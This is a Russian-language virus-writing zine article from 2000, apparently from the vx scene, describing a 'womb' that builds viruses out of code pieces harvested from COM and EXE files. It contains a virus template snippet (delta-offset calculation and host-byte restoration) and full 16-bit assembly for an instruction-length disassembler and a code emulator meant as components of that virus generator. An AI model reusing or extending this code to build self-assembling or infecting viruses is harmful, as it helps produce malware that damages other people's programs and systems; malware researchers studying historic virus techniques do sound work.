_____ _____ ___
_,┌\/┐ :░ :░ :░ ╓ social distortion all about vx-scene ╖
,4\┘¤"``"¤┘ ll l¤` ll ::;;;::;;.... ....:;..: ::...;.:;;;:;
:░(_ | ___ ll ._
`└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._ матка [2000]
_____ ``^"¤└/L, d7┘` ___ 7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by mongoose [m_youth]
$$$$|/┌,.__,┌\:`4│/┐,_ _ll ``''""¤¤┘┘
$$$$|`└/|││|\┘` `¤└/│:
─ содержание
введение ........................................... 1
кодо-эмулятор & анализатор ......................... 2
принцип работы кодо-эмулятора и анализатора ........ 3
принцип работы матки ............................... 4
определение размера инструкции (c) 1997 Reminder ... 5
эмулятор и анализатор (c) 2000 mongoose ............ 6
─ введение
большое спасибо Reminder'у за AIFS.
где-то в июне 2000-го года я разговаривал с одним своим знакомым о
возможности написания "матки", которая будет собирать вирусы из кусков
различных программ и эти вирусы будут жить своей жизнью. на тот момент я
даже не подозревал как это можно провернуть, но время летит...
на данный момент, реализация идеи ничего полезного вирусу не даст. он
будет огромного размера, "но время летит" (c) mng
─ кодо-эмулятор & анализатор
процедуры подсчета размера инструкции (c) Reminder [1997], они были
немного изменены мной для использования в эмуляторе. эмулятор полностью мой
(хотя гордиться здесь нечем)
это кривое дерьмо (эмулятор) изначально было написано не для вируса
эмуляция прекращается при достижении ret, retf, int 20h/21h
не эмулит порты, операции со стеком и еще много чего...
─ принцип работы кодо-эмулятора и анализатора
на начальном этапе ds:si должен указывать на блок данных который мы
будем эмулировать. по началу, все виртуальные регистры обнуляются, далее
запускается цикл, который обрывается, (завершается эмуляция) иногда =]
определяется размер инструкции, она копируется в "специальный" буффер и там
анализируется. если анализатор не разпознает ее, то переходим к следующей
инструкции, иначе, она эмулируется... эмуляция может происходить в
"специальном" пространстве (обычно, это происходит когда инструкция
выполняется напрямую) и исскуственно (когда инструкция слишком "опастная" и
нужно исскуственно выполнить все действия по эмуляции).
естественно, чем больше инструкций анализатор распознает и умеет
эмулировать, тем быстрее будут находиться куски требуемые для составления
вируса и он будет быстрее составляться... ;-\
─ принцип работы матки
вирус содержит в себе схему, по которой он будет составлять своих
"детей", например участок кода:
code: call calculate_ip ; ! calculate IP
calculate_ip: pop bp ; !
sub bp,offset calculate_ip ; !
mov di,100h ; restore original bytes
lea si,[bp+original_bytes] ; !
movsw ; !
movsw ; !
открывается произвольный com или exe файл, из него считывается участок
размером в 20-30 кб, затем, поочередно, обрабатываются инструкции макета.
например, в участке показаном выше, инструкции помеченные "!", будут
копироваться в тело вируса без изменений. инструкция "mov di,100h"
эмулируется, запоминается состояние регистров (в данном случае di = 100h,
остальные нулю), затем эмулируется полученный кусок кода, если по ходу его
эмуляции мы получим состояние регистров равное тому, что мы получили после
эмуляции "mov di,100h" останавливаем эмуляцию и копируем проэмулированный
участок кода, иначе эмулируем участок до конца. если и в этом случае не
получим нужное состояние, проанализируем еще несколько участков и, в случае
неудачи, запишем инструкцию как есть.
─ определение размера инструкции (c) 1997 Reminder
───[count.inc]───────────────────────────────────────────────────────[start]──
;
; "Asm Instruction First byte Show" (Small disasm) (c) Reminder (1997)
;
@dis_init: lea si,[bp+rle_table] ; di - buf for table (256)
mov cx,88
cld
@c1: lodsb
mov bx,1
push ax
and al,0F0h
cmp al,70h
pop ax
jnz @s1
and al,0fh
mov bl,al
lodsb
dec cx
@s1: push ax cx ax
and al,0fh
stosb
pop ax
mov cx,4
shr al,cl
stosb
pop cx ax
dec bx
jnz @s1
loop @c1
ret
;
; Table 4 "Asm Instruction First byte Show" (Small disasm) (c) Reminder (1997)
;
; 11111111b
; | |
; | |
; | - @1 (field 0 - 3 bit) @1 - first byte
; - @2 (field 4-7 bit) @2 - second byte
;
; RLE Compression ;)
;if @2 = 0111b then next byte*@1
;
; (c) Reminder (1997)
;
; bp - ofsfet table si - kod. si - next kod
;
@dmain: push bx
lodsb
;----------
cmp al,0fh
jz sux
cmp al,0f1h
jz sux
;----------
cem_bp: mov bx,00ffh
xlat
sub bx,bx
or al,al
jz quit
push ax ; imm
and al,7
add bl,al
pop ax
test al,8 ;rm
jz quit
lodsb
mov ah,al
push cx
mov cl,6
shr al,cl
pop cx
cmp al,3
jz quit
add bl,al
or al,al
jnz quit
and ah,7
cmp ah,6
jnz quit
add bx,2
quit: add si,bx
clc
pop bx
ret
sux: stc
pop bx
ret
;
rle_table db 088h,088h,021h,000h,088h,088h,021h,000h,088h,088h
db 021h,000h,088h,088h,021h,000h,088h,088h,021h,000h
db 088h,088h,021h,000h,088h,088h,021h,000h,088h,088h
db 021h,07Fh,000h,076h,000h,0A2h,091h,000h,000h,078h
db 011h,0A9h,0A9h,074h,088h,028h,088h,075h,000h,004h
db 000h,000h,022h,022h,000h,000h,022h,073h,000h,074h
db 011h,074h,022h,099h,002h,022h,0A9h,003h,002h,010h
db 000h,088h,088h,011h,000h,074h,088h,074h,011h,022h
db 014h,075h,000h,0A9h,073h,000h,088h
;
; start : si = location
; exit : ax = size
;
instr_size: push ax cx dx bx bp sp si di
lea di,[bp+sot]
call @dis_init
pop di si sp bp bx dx cx ax
push cx dx bx di si sp bp
lea cx,[bp+sot]
mov word ptr [bp+cem_bp+1],cx
mov cx,1
xor dx,dx
mov bx,si
call @dmain
mov ax,si
sub ax,bx
pop bp sp si di bx dx cx
ret
───[count.inc]──────────────────────────────────────────────────────────[end]─
─ эмулятор и анализатор (c) 2000 mongoose
был написан мной для одной программки, работает довольно медленно
и глючно. версия номер 31
───[emulate.inc]──────────────────────────────────────────────────────[start]─
;═════════════════════════════════════════════════════════════════════════════
; Выполнение команд (узкая эмуляция)
; (c) [...s.k.i.p...]
;
; Начало работы : 22 августа, 2000 год
; Последняя модификация: 5 сентября, 2000 год
;═════════════════════════════════════════════════════════════════════════════
;─────────────────────────────────────────────────────────────────────────────
; emulate - эмулируем участок кода, значения регистров в word ptr reg_??
;
; Псевдо эмулятор кода, процедура анализирует команды и производит их эмуляцию
; однако команды не выполняются на прямую (кроме тех которые можно), что позво-
; ляет избежать выполнения мусора и опасных команд. Даже на данном этапе кодо-
; эмулятор позволяет выполнять декрипторы (расшифровывать) наиболее простых по-
; лиморфных и шифрованных вирусов.
;
; warning эмулятор неможет эмулировать работу со стеком
;
; on start ds:dx - адрес кода который будем эмулировать в файле + 100h!
; ds:si - позиция с которой надо эмулировать код
;
;───────────────
emulate_ver db 'EMULx031'
;───────────────
emulate: lea di,[bp+reg_ax]
mov cx,((7*2)+1)
sub ax,ax
clear_emul_rl: stosb ; очистим все 7 (кроме sp)
loop clear_emul_rl ; виртуальные регистры :)
mov word ptr [bp+emul_ofinfl],dx
mov word ptr [bp+emul_ofincd],si
mov word ptr [bp+emul_offset],si
mov byte ptr [bp+check_code_flag],0
;───────────────
emulate_loop:
call instr_size ; определим размер инструкции
int 3
push si cx ; сохраним позицию и размер
lea di,[bp+emulate_buffer]
mov cx,ax
cld
rep movsb ; копируем инструкцию в буффер
pop cx si ; востановим размер и позицию
mov byte ptr [di],0c3h ; ставим после команды ret
cmp al,1
jz emulate_1 ; если размер 1 байт
cmp al,2
jz emulate_2 ; если размер 2 байта
cmp al,3
jz emulate_3 ; если размер 3 байта
cmp al,4
jz emulate_4 ; если размер 4 байта
cmp al,5
jz emulate_5 ; если размер 5 байт
cmp al,6
jz emulate_6 ; если размер 6 байт
cmp al,8
jz emulate_8 ; если размер 8 байт
;───────────────
eml_instr_end: add si,ax ; переводим указатель на дру-
jmp emulate_loop
;───────────────
emulate_end: cmp byte ptr [bp+check_code_flag],0
jnz emulate_end_r
lea si,[bp+language]
add si,[bp+msg_healthy]
call print_string
call show_nul
emulate_end_r: ret ; заканчиваем эмуляцию
;───────────────
emulate_1:
cmp byte ptr [si],040h ; INC AX ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],041h ; INC CX ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],042h ; INC DX ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],043h ; INC BX ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],044h ; INC BP ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],046h ; INC SI ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],047h ; INC DI ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],048h ; DEC AX ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],049h ; DEC CX ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],0c3h ; RET ?
jz emulate_end ; эмулируем стандарт. методом
cmp byte ptr [si],0cbh ; RETF ?
jz emulate_end ; эмулируем стандарт. методом
jmp eml_instr_end ; заканчиваем эмуляцию инстр.
;───────────────
emulate_2:
cmp byte ptr [si],074h ; JZ IMM ?
jz @emul_jz ; эмулируем спец. методом
cmp byte ptr [si],075h ; JNE IMM ?
jz @emul_jnz ; эмулируем спец. методом
cmp byte ptr [si],08bh ; MOV REG16,REG16 ?
jz @stand_emul ; эмулируем стандарт. методом
cmp word ptr [si],020cdh ; INT 21H ?
jz emulate_end ; эмулируем стандарт. методом
cmp word ptr [si],021cdh ; INT 21H ?
jz emulate_end ; эмулируем стандарт. методом
cmp byte ptr [si],0e2h ; LOOP IMM ?
jz @emul_loop ; эмулируем спец. методом
cmp byte ptr [si],0ebh ; JMP NEAR IMM ?
jz @emul_jmp_near ; эмулируем спец. методом
jmp eml_instr_end ; заканчиваем эмуляцию инстр.
;───────────────
emulate_3:
cmp byte ptr [si],03dh ; CMP AX,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],0b8h ; MOV AX,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],0b9h ; MOV CX,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],0bah ; MOV DX,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],0bbh ; MOV BX,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],0bdh ; MOV BP,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],0beh ; MOV SI,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],0bfh ; MOV DI,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp byte ptr [si],0cah ; RETF OFFSET?
jz emulate_end ; эмулируем стандарт. методом
cmp byte ptr [si],0e9h ; JMP OFFSET?
jz @emul_jmp ; эмулируем стандарт. методом
jmp eml_instr_end ; заканчиваем эмуляцию инстр.
;───────────────
emulate_4:
cmp word ptr [si],03481h ; XOR WORD PTR [SI],IMM ?
jz @emul_xr_wpsi ; эмулируем спец. методом
cmp word ptr [si],0f881h ; CMP AX,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp word ptr [si],0f981h ; CMP CX,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp word ptr [si],0fa81h ; CMP DX,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp word ptr [si],0fb81h ; CMP BX,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp word ptr [si],0fc81h ; CMP BP,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp word ptr [si],0fe81h ; CMP SI,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp word ptr [si],0ff81h ; CMP DI,IMM ?
jz @stand_emul ; эмулируем стандарт. методом
cmp word ptr [si],006ffh ; INC WORD PTR [????]
jz @emul_inc_wpi ;
jmp eml_instr_end ; заканчиваем эмуляцию инстр.
;───────────────
emulate_5:
cmp word ptr [si],03680h ; XOR BYTE PTR [????],IMM
jz @emul_xr_bpx
jmp eml_instr_end
;───────────────
emulate_6:
cmp word ptr [si],03e81h ; CMP WORD PTR [????],IMM
jz @emul_cp_wpx
jmp eml_instr_end
;───────────────
emulate_8:
cmp word ptr [si],00683h ; ADD WORD PTR [????],IMM
jz @emul_ad_wpx
jmp eml_instr_end
;───────────────
@stand_emul: push ax cx dx bx bp sp di si
call emulate_instr
pop si di sp bp bx dx cx ax
jmp eml_instr_end
;───────────────
emulate_instr: mov ax,offset emul_sflags ; после ret'а переходим на
push ax ; метку "emul_sflags"
mov ax,word ptr [bp+reg_ax]
mov cx,word ptr [bp+reg_cx]
mov dx,word ptr [bp+reg_dx]
mov bx,word ptr [bp+reg_bx]
mov bp,word ptr [bp+reg_bp]
mov si,word ptr [bp+reg_si] ; загружаем значения в "закон-
mov di,word ptr [bp+reg_di] ; ные" регистры
;───────────────
emulate_buffer db 20 dup (?) ; для команды и рета
;───────────────
call emul_sflags ; сохраним / проэмулим флаги
ret
;───────────────
emul_sregs: mov word ptr [bp+reg_ax],ax
mov word ptr [bp+reg_cx],cx
mov word ptr [bp+reg_dx],dx
mov word ptr [bp+reg_bx],bx
mov word ptr [bp+reg_bp],bp
mov word ptr [bp+reg_si],si
mov word ptr [bp+reg_di],di ; сохраняем значения регистров
ret
;───────────────
@emul_jz: cmp byte ptr [bp+zf_flag],1 ; если флаг равенства включен
jz @run_jmp_near ; эмулируем команду перехода
add si,ax ; переводим указатель на дру-
call check_code_4s ; проверяем на сигнатуры
jmp emulate_end
;───────────────
@emul_jnz: cmp byte ptr [bp+zf_flag],0 ; если флаг равенства включен
jz @run_jmp_near ; эмулируем команду перехода
add si,ax ; переводим указатель на дру-
call check_code_4s ; проверяем на сигнатуры
jmp emulate_end
;───────────────
@emul_jmp_near:
sub ax,ax ; ax = 0
lodsb
lodsb
add si,ax
jmp emulate_loop ; конец эмуляции инструкции
;───────────────
@emul_jmp: lodsb
lodsw
add si,ax
jmp emulate_loop ; конец эмуляции инструкции
;───────────────
@emul_loop: mov dx,word ptr [bp+reg_cx] ; dx содержит значение рег. cx
dec dx ; dx = dx - 1
dec word ptr [bp+reg_cx] ; reg_cx = dx
or dx,dx ; dx == 0 ?
jnz @run_jmp_near ; нет? продолжим эмуляцию цикла
add si,ax ; переводим указатель на дру-
call check_code_4s ; проверяем на сигнатуры
jmp emulate_end
;───────────────
@run_jmp_near: sub dx,dx ; dx = 0
cmp byte ptr [si+1],128
jl goto_up
goto_down: mov dl,255 ; dl = 255
sub dl,byte ptr [si+1] ; dl = jump size + 1
dec dx ; dl = jump size
sub si,dx ; указатель на нужную команду
jmp emulate_loop
goto_up: inc dx
add dl,byte ptr [si+1]
add si,dx
jmp emulate_loop
;───────────────
check_code_4s:
cmp byte ptr [bp+check_code_flag],0
jnz check_code_rt
mov word ptr [bp+emul_offset],si
push ax cx dx bx sp bp si di
call check_file
pop di si bp sp bx dx cx ax
check_code_rt: ret
;───────────────
; начальная процедура для эмуляции инструкий вида: xor word ptr [xor_reg],imm
; замена расположения значения индексного регистра в файле на расположение в
; "памяти"
;
; использовать примерно так: push ax si
; call @emul_xr_wpim
; add si,word ptr [bp+reg_"xor_reg"]
; mov xor_reg,si
; xor word ptr [xor_reg],ax
; pop si ax
;
@emul_xr_wpim: lodsw
lodsw
mov si,0ffffh
sub si,word ptr [bp+emul_ofinfl]
add si,word ptr [bp+emul_ofincd]
inc si
ret
;───────────────
; emulate xor word ptr [si],imm
;
@emul_xr_wpsi: push ax si ; сохраняем ax si
call @emul_xr_wpim ; преобразуем смещение
add si,word ptr [bp+reg_si] ; смещение + значение регистр
xor word ptr [si],ax ; выполняем инструкцию
pop si ax ; востанавливаем si ax
jmp eml_instr_end ; конец
;───────────────
; emulate xor word ptr [di],imm
;
@emul_xr_wpdi: push ax di ; сохраняем ax di
call @emul_xr_wpim ; преобразуем смещение
add si,word ptr [bp+reg_si] ; смещение + значение регистр
push si ; ┐
pop di ; di = si
xor word ptr [di],ax ; выполняем инструкцию
pop di ax ; востанавливаем di ax
jmp eml_instr_end ; конец
;───────────────
; emulate inc word ptr [offset]
;
@emul_inc_wpi: push ax si
call @emul_xr_wpim
add si,ax
inc word ptr [si]
pop si ax
jmp eml_instr_end ; конец
;───────────────
; emulate xor byte ptr [offset],imm
;
@emul_xr_bpx: push ax dx si
mov dl,byte ptr [si+4]
call @emul_xr_wpim
add si,ax
xor byte ptr [si],dl
pop si dx ax
jmp eml_instr_end ; конец
;───────────────
; emulate cmp word ptr [offset],imm
;
@emul_cp_wpx: push ax dx si
mov dx,word ptr [si+4]
call @emul_xr_wpim
add si,ax
cmp word ptr [si],dx
call emul_sflags
pop si dx ax
jmp eml_instr_end ; конец
;───────────────
; emulate add word ptr [offset],imm
;
@emul_ad_wpx: push ax dx si
mov dx,word ptr [si+8]
call @emul_xr_wpim
add si,ax
add word ptr [si],dx
pop si dx ax
jmp eml_instr_end ; конец
;───────────────
emul_sflags: jz flag_zf_on ; прыгаем если флаг ZF включен
flag_zf_off: mov byte ptr [bp+zf_flag],0 ; zf = 0 (отключен)
emul_sflags_e: ret
;───────────────
flag_zf_on: mov byte ptr [bp+zf_flag],1 ; zf = 1 (включен)
jmp emul_sflags_e
;───────────────
include count.inc ; кодо-анализатор (c) Reminder
;───────────────
reg_ax dw ? ; значение виртуальных
reg_cx dw ? ; регистров
reg_dx dw ?
reg_bx dw ?
reg_bp dw ?
reg_si dw ?
reg_di dw ?
zf_flag db ?
; emul_optn dw ?
emul_ofinfl dw ?
emul_ofincd dw ?
check_code_flag db ? ; флаг проверки кода
;─────────────────────────────────────────────────────────────────────────────
───[emulate.inc]────────────────────────────────────────────────────────[end]─
(x) 2000 mongoose, misdirected_youth_all-star